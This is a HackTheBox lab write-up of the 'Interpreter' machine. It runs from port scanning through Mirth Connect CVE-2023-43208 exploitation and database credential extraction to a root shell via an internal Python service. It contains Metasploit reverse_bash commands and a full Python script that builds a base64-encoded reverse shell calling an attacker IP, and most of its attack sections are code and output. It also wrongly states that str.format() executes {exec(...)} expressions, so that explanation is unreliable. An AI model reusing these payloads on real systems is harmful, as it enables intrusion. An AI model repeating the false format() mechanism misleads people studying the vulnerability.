Difficulty: Medium
OS: Linux
Release Date: 21st February, 2026
Retire Date: TBD
Link: https://app.hackthebox.com/machines/Interpreter


This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.


Table of Contents

  1. Overview
  2. Approach
  3. Reconnaissance
  4. Mirth Connect Version Identification
  5. CVE-2023-43208 — Unauthenticated RCE
  6. Post-Exploitation as mirth
  7. Database Enumeration — Internal Service Discovery
  8. notif.py — Python Format String Injection
  9. Privilege Escalation — root.txt
  10. Key Findings

Overview

Interpreter is a medium-difficulty Linux machine centred on a NextGen Healthcare Mirth Connect instance and a deliberately vulnerable internal notification service. The attack begins with an unauthenticated pre-auth RCE against Mirth Connect 4.4.0 via CVE-2023-43208, an unsafe Java XStream deserialization vulnerability. Post-exploitation yields a MariaDB credential from the Mirth configuration file. The database's CHANNEL table reveals a Python-based internal service (notif.py) running as root on localhost:54321, which parses patient XML through Python's .format() string interpolation — a textbook format-string injection primitive. Crafting a malicious <firstname> field triggers arbitrary Python execution as root, completing the chain.

Interpreter Pwned

Attack Chain at a Glance

Port scan → SSH (22) + Jetty HTTP (80) + Jetty HTTPS (443)
     ↓
Mirth Connect 4.4.0 identified via /api/server/version
     ↓
CVE-2023-43208 — XStream deserialization → unauthenticated RCE
     ↓
Shell as mirth → read /usr/local/mirthconnect/conf/mirth.properties
     ↓
Credentials: mirthdb:MirthPass123! → MariaDB mc_bdd_prod
     ↓
CHANNEL table → "INTERPRETER - HL7 TO XML TO NOTIFY"
     ↓
Internal endpoint: http://127.0.0.1:54321/addPatient
     ↓
notif.py running as root — Python format string injection via <firstname>
     ↓
{exec(__import__("base64").b64decode("...").decode())} → RCE as root
     ↓
root.txt + user.txt

Approach

The methodology followed a standard black-box penetration testing workflow:

  1. Enumerate all exposed TCP ports and identify services.
  2. Fingerprint the Mirth Connect version via its unauthenticated REST API.
  3. Exploit CVE-2023-43208 — a pre-auth XStream deserialization chain — for initial RCE.
  4. Extract the MariaDB password from the Mirth configuration file.
  5. Enumerate the database to discover the internal channel configuration and the notif.py endpoint.
  6. Abuse the Python format-string injection in notif.py (running as root) for full system compromise.

No credential brute-forcing was required at any stage.


Reconnaissance

Port Scan

nmap -sV -T4 -p- 10.129.29.93

Results:

Port State Service Version
22/tcp open ssh OpenSSH 9.2p1 Debian
80/tcp open http Jetty
443/tcp open ssl/http Jetty

The attack surface is minimal. Both HTTP ports run Jetty, a Java-based embedded web server, which is the canonical deployment platform for Mirth Connect. Port 443 serves the same application over TLS.

Key Observations

  • No web application login page is immediately visible on port 80 — Mirth Connect presents a login form at /.
  • The /api path is exposed without authentication, including the version endpoint.
  • Jetty on both 80 and 443 strongly suggests a Mirth Connect healthcare integration engine deployment.

Mirth Connect Version Identification

Mirth Connect exposes an unauthenticated REST API under /api. The version endpoint requires no credentials:

curl -sk https://10.129.29.93/api/server/version \
  -H "X-Requested-With: XMLHttpRequest"

Response:

4.4.0

Mirth Connect versions prior to 4.4.1 are affected by CVE-2023-43208, an unauthenticated pre-auth RCE via unsafe Java XStream deserialization. Version 4.4.0 is squarely in scope.


CVE-2023-43208 — Unauthenticated RCE

Vulnerability Description

CVE-2023-43208 is a pre-authentication remote code execution vulnerability in NextGen Healthcare Mirth Connect. It builds on an earlier incomplete fix for CVE-2023-37679. The root cause is unsafe deserialization of user-controlled XML at the /api/users endpoint. The application accepts serialized XStream XML objects without enforcing a strict class allowlist, allowing an attacker to supply a crafted object graph that triggers a Commons Collections 4 gadget chain during deserialization — ultimately invoking Runtime.getRuntime().exec() with attacker-controlled arguments.

The gadget chain structure (from the Horizon3.ai disclosure):

<sorted-set>
  <dynamic-proxy>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <!-- InvokerTransformer chain: getMethod → invoke → exec -->
      </target>
    </handler>
  </dynamic-proxy>
</sorted-set>

The chain terminates in Runtime.exec(), executing an arbitrary shell command as the mirth service user.

Exploitation

A Metasploit module is available for this vulnerability.

msfconsole -q
msf6 > use exploit/multi/http/mirth_connect_cve_2023_43208
msf6 > set RHOSTS 10.129.29.93
msf6 > set RPORT 443
msf6 > set SSL true
msf6 > set LHOST 10.10.14.28
msf6 > set LPORT 4444
msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > run

Output:

[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/unix/reverse_bash (Unix Command)
[+] The target appears to have executed the payload.
[*] Command shell session 1 opened (10.10.14.28:4444 -> 10.129.29.93:XXXXX)

Alternatively, the standalone Python PoC from K3ysTr0K3R can be used:

python3 CVE-2023-43208.py -u 10.129.29.93 -lh 10.10.14.28 -lp 4444

Shell Stabilisation

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm

Identity confirmed:

id
uid=103(mirth) gid=111(mirth) groups=111(mirth)

hostname
interpreter

Post-Exploitation as mirth

Locating the Configuration File

The default Mirth Connect configuration path (/var/lib/mirthconnect/) was not present on this installation. The actual path was found at:

find / -name mirth.properties 2>/dev/null
/usr/local/mirthconnect/conf/mirth.properties

Extracting Database Credentials

cat /usr/local/mirthconnect/conf/mirth.properties

Relevant excerpts:

# Only used for migration purposes, do not modify
version = 4.4.0

database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.driver = org.mariadb.jdbc.Driver

# database credentials
database.username = mirthdb
database.password = MirthPass123!

Credentials extracted: mirthdb:MirthPass123! connecting to database mc_bdd_prod on localhost:3306.

The keystore also contains credentials that may be of use for further analysis:

keystore.storepass = 5GbU5HGTOOgE
keystore.keypass   = tAuJfQeXdnPw

Database Enumeration — Internal Service Discovery

Connecting to MariaDB

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
SHOW TABLES;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| ...                   |
| PERSON                |
| PERSON_PASSWORD       |
| ...                   |
+-----------------------+

Inspecting the CHANNEL Table

The CHANNEL table stores all Mirth integration channel definitions as raw XML blobs:

DESCRIBE CHANNEL;
+----------+--------------+------+-----+
| Field    | Type         | Null | Key |
+----------+--------------+------+-----+
| ID       | char(36)     | NO   | PRI |
| NAME     | varchar(40)  | NO   |     |
| REVISION | int(11)      | YES  |     |
| CHANNEL  | longtext     | YES  |     |
+----------+--------------+------+-----+
SELECT NAME FROM CHANNEL;
+----------------------------------------+
| NAME                                   |
+----------------------------------------+
| INTERPRETER - HL7 TO XML TO NOTIFY     |
+----------------------------------------+

Extracting the Channel Configuration

SELECT CHANNEL FROM CHANNEL \G

The XML blob is large (~18 KB), but the key fields are quickly found by grepping for network references:

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod \
  -e "SELECT CHANNEL FROM CHANNEL" | grep -oE '(<host>[^<]+</host>|<port>[^<]+</port>|<content>[^<]+</content>)'

Key findings:

<host>0.0.0.0</host>
<port>6661</port>          <!-- TCP Listener: inbound HL7 on port 6661 -->

<host>http://127.0.0.1:54321/addPatient</host>
<content>${message.encodedData}</content>   <!-- HTTP Sender: forwards to internal notif service -->

Channel Architecture

The channel implements a two-step pipeline:

  1. TCP Listener on 0.0.0.0:6661 — receives inbound HL7 messages.
  2. HTTP Sender — transforms the message to XML and POSTs it to http://127.0.0.1:54321/addPatient, passing the full message body as ${message.encodedData}.

The internal service on port 54321 (notif.py) processes the resulting patient XML — and it is the target for privilege escalation.

Identifying the Internal Service

ps aux | grep notif
root  3515  ... /usr/bin/python3 /usr/local/bin/notif.py

notif.py runs as root. The binary is rwxr-x--- (readable by root and the sedric group only), but its network behaviour can be inferred from the channel configuration and confirmed by probing it directly.


notif.py — Python Format String Injection

Vulnerability Description

The service at localhost:54321 is a Python HTTP server that processes patient XML POSTed to /addPatient. It parses the XML, extracts patient fields (including <firstname>), and interpolates them into a Python format string using .format() — a pattern equivalent to the classic str.format() injection vulnerability.

When a field value contains a Python expression wrapped in curly braces — e.g., {expr} — Python's .format() evaluates it. By injecting {exec(...)} into <firstname>, arbitrary Python code is executed in the context of the root-running process.

Payload Construction

The injection payload:

import base64

LHOST = "10.10.14.28"
LPORT = 9004

# Python reverse shell, base64-encoded to avoid XML encoding issues
code = (
    f'import socket,os,pty;'
    f's=socket.socket();'
    f's.connect(("{LHOST}",{LPORT}));'
    f'os.dup2(s.fileno(),0);'
    f'os.dup2(s.fileno(),1);'
    f'os.dup2(s.fileno(),2);'
    f'pty.spawn("/bin/bash")'
)
b64 = base64.b64encode(code.encode()).decode()

# The format-string injection: {exec(...)} triggers on .format() call in notif.py
injection = '{' + f'exec(__import__("base64").b64decode("{b64}").decode())' + '}'

The injected string becomes the <firstname> field value. When notif.py calls .format() on a template containing it, Python evaluates the exec() expression and the reverse shell connects back.

XML Payload

<patient>
  <firstname>{exec(__import__("base64").b64decode("BASE64_SHELL").decode())}</firstname>
  <lastname>Doe</lastname>
  <timestamp>2026</timestamp>
  <sender_app>P</sender_app>
  <id>1</id>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>

Exploit Script

Since localhost:54321 is only reachable from the target itself, the exploit is run from within the mirth shell:

# /tmp/privesc.py — run on the target as mirth
import urllib.request, base64

LHOST = "10.10.14.28"
LPORT = 9004

code = (
    f'import socket,os,pty;s=socket.socket();'
    f's.connect(("{LHOST}",{LPORT}));'
    f'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
    f'pty.spawn("/bin/bash")'
)
b64 = base64.b64encode(code.encode()).decode()
inj = '{' + f'exec(__import__("base64").b64decode("{b64}").decode())' + '}'

xml = (
    f'<patient>'
    f'<firstname>{inj}</firstname>'
    f'<lastname>Doe</lastname>'
    f'<timestamp>2026</timestamp>'
    f'<sender_app>P</sender_app>'
    f'<id>1</id>'
    f'<birth_date>01/01/1990</birth_date>'
    f'<gender>M</gender>'
    f'</patient>'
)

req = urllib.request.Request(
    "http://127.0.0.1:54321/addPatient",
    data=xml.encode(),
    headers={"Content-Type": "application/xml"}
)
try:
    urllib.request.urlopen(req, timeout=5)
except:
    pass

Execution

With a listener active on port 9004:

# On Kali — listener
nc -lvnp 9004
# On the target (mirth shell)
python3 /tmp/privesc.py

Callback received:

connect to [10.10.14.28] from (UNKNOWN) [10.129.29.93] ...
root@interpreter:/# id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation — root.txt

With a root shell active, both flags are trivially readable:

root@interpreter:~# cat /root/root.txt

root@interpreter:~# cat /home/sedric/user.txt

Key Findings

# Finding Severity Impact
1 CVE-2023-43208 — Pre-auth RCE in Mirth Connect 4.4.0 via unsafe XStream deserialization at /api/users Critical Unauthenticated remote code execution as the mirth service user
2 Plaintext credentials in mirth.properties (mirthdb:MirthPass123!) readable by the service user High Full MariaDB access including all Mirth channel configurations
3 Channel XML discloses internal serviceCHANNEL table exposes the localhost:54321/addPatient endpoint and its input contract Medium Complete internal architecture disclosure enabling the next attack stage
4 Python format-string injection in notif.py — user-controlled XML fields interpolated via .format() without sanitisation Critical Arbitrary Python code execution as root via {exec(...)} injection
5 Root-level service with no privilege dropnotif.py runs as root with no sandboxing, amplifying the format-string impact from code exec to full system compromise High Any exploitable bug in notif.py yields immediate root access

Tools Used

Tool Purpose
nmap Port scanning and service fingerprinting
curl Mirth Connect version identification via REST API
Metasploit (mirth_connect_cve_2023_43208) CVE-2023-43208 exploitation
mysql MariaDB enumeration — credential use and channel data extraction
python3 Format-string exploit script (privesc.py) and payload construction
netcat Reverse shell listener
base64 Reverse shell payload encoding for safe XML embedding
find / grep Configuration file location and channel XML analysis